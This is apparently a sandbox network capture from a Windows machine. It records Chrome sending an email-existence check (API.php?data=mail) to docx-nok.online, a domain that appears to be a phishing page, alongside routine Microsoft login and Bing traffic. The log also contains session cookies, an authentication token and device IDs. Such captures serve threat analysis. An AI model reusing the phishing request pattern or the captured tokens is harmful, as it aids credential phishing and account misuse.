2024-04-19 15:02:07 UTC	1228	OUT	GET /API.php?data=mail&email=testing@outlook.com&_=1713538912791 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-platform-version: "10.0.0" X-Requested-With: XMLHttpRequest sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:08 UTC	738	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sE%2FViEXTjU3YoiTIVDU2HLPzJskHU7ESzd1dpLVo7zuFXga%2BjuMzBPHuoYzGoRvZv7R4VHv1NQuAHfd0R%2F5mdmWGW29MDiBDeqvviBNnuhovAfdGN1haa9Qjclu1Q90G9Xk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc61a3d2653fc-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:08 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.18	49750	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:08 UTC	614	OUT	GET /API.php?data=mail&email=testing@outlook.com&_=1713538912791 HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:08 UTC	746	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=STBy%2BUyACwnYD3awDUeNnEj2LKnE68Y%2BVLhS1y75i%2F4haioJh%2F42CjIVyUVKma84h4FyNwG%2F6bntFklcOiAn7Pnz%2B4OBzeq4zdmX%2FYGkEAT6633iH3yFtiJRNk3xvv8MgC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc61f2f11673a-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:08 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.18	49751	20.190.157.11	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-19 15:02:11 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 15:02:11 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 15:01:11 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C539_SN1 x-ms-request-id: c4191e8c-ffb3-48b5-8081-e4de82f269d8 PPServer: PPV: 30 H: SN1PEPF0002F116 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 15:02:11 GMT Connection: close Content-Length: 11390
2024-04-19 15:02:11 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.18	49752	20.190.157.11	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 15:02:11 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 15:02:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 15:01:12 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C539_SN1 x-ms-request-id: d436c0aa-0b2b-4a10-b7d0-9d73279e62b1 PPServer: PPV: 30 H: SN1PEPF0002F9ED V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 15:02:11 GMT Connection: close Content-Length: 11370
2024-04-19 15:02:12 UTC	11370	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.18	49753	20.190.157.11	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 15:02:12 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 15:02:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 15:01:12 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C539_SN1 x-ms-request-id: ec1993c5-ab35-4ce6-a8fa-5f6e4ece63c9 PPServer: PPV: 30 H: SN1PEPF0002F0D1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 15:02:12 GMT Connection: close Content-Length: 11370
2024-04-19 15:02:12 UTC	11370	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.18	49754	20.190.157.11	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4788 Host: login.live.com
2024-04-19 15:02:13 UTC	4788	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 15:02:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 15:01:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C539_SN1 x-ms-request-id: a1743e78-a34e-45bd-89b3-ae8b68d8ebd0 PPServer: PPV: 30 H: SN1PEPF0002F95B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 15:02:13 GMT Connection: close Content-Length: 11153
2024-04-19 15:02:13 UTC	11153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.18	49755	131.253.33.200	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:14 UTC	2727	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: 120 X-DeviceID: 01000A410900B03D X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75 X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcazoNqFUVBGC0kuKd6Xq5GOi%2BGNOuWXfHDAMCDFlK2G5UUCLkutsbNrOUX63Pi7otjYPgDUZQYY6hhyT7L5ynpPq3ZI1Ywu/tiQK97Mn3/48XHqNC9XFhEgAOjU0RGDkkrEJ1ns3Wz099gi46O1SFOveJbLSijnNmi0D19mh138IBKocfM7wU2bmxxpCjtjOVkNdyOcMwf4SFYOvBzv4fxWzgrHIa1wOREa6%2BEdSf8HgxagcwNpu5Bgym7QgXws9KFQFDEitb3D%2BY7H2egjDmx600ALzhcb/Eb6v5ZixsX9bKvTMWgBJTghmQ6xIOsoOmaAixU/hgYitIYMX3kLaW4DZgAACEy2lNENRtssqAHaQbhuTSuVSVSZtlE%2B5KHSG2WPpsfWtigvbBp6MHRRG%2BRiTuPZRznC9t0UG6Z2I3a2QIQesurUbXl/EQGBltWemhPnpPVkjrJosIuVduFxXwVnXbZZY7s0SksgsUConCNrIzCXNuv31ypstckJQjN/1gXCfROs5tJz7Frs7z/YL22wzxkaN0tZhmMMCdRTgo0uC8pCeUkv8ths4jWwKQUX113PauIpCKFfyeFhh9iMIyalPxX1FG1BSK6CRYDp2rsu4DA8UicTgoD8dNLLzK9H19HYwjkccH4fx13LAZFR%2B3RgzphM440SaOJNeVCPW%2BIxqbYg6NaPkDVDfizPXP6czO5BGoUH3JbuIMQTSqgUb7PlkpninQhswLKb9HeHANH2etXvDvq4jOqssEbXHXOp0jeKHE2u9u2ekXQ8xBfTQyGfFko/Lat7XDT75qHnC85NayagaNkuXNLUVCPNNlvl%2B0xKqRJWbqS2MuA9D0d1/iEWr8xsKBwYRp57daaJCC93EJnkYLJrX3%2BeQafibO8KUwUkpwM8bhh1//9b8ztfsakiZ2us%2Bjqm2AE%3D%26p%3D X-Agent-DeviceId: 01000A410900B03D X-BM-CBT: 1713538929 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 12DA171CEA7F44809FB2E01AD5BB71AB X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=B4BB39E5F80E411D94C438C0FA7ACF94&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&LUT=1707317051026&IPMH=6b344233&IPMID=1707317270835&HV=1707317277; ANON=A=680C1B1A649CBD64DD40EBFCFFFFFFFF; MUID=BC76BB0020D345C1A049A4820CB4C03C; MUIDB=BC76BB0020D345C1A049A4820CB4C03C
2024-04-19 15:02:14 UTC	1512	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2215 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: _EDGE_S=SID=201429F3147E647229E13D95157F6541&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: MUIDB=BC76BB0020D345C1A049A4820CB4C03C; expires=Wed, 14-May-2025 15:02:14 GMT; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=en&LUT=1707317051026&IPMH=6b344233&IPMID=1707317270835&HV=1707317277; domain=.bing.com; expires=Wed, 14-May-2025 15:02:14 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=201429F3147E647229E13D95157F6541; domain=.bing.com; path=/; secure; SameSite=None X-EventID: 66228776e678452bb76a9eb4c005d072 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E5AF0F9F66254A7A86D761B9BC8C4EF1 Ref B: BL2AA2030104045 Ref C: 2024-04-19T15:02:14Z Date: Fri, 19 Apr 2024 15:02:13 GMT Connection: close
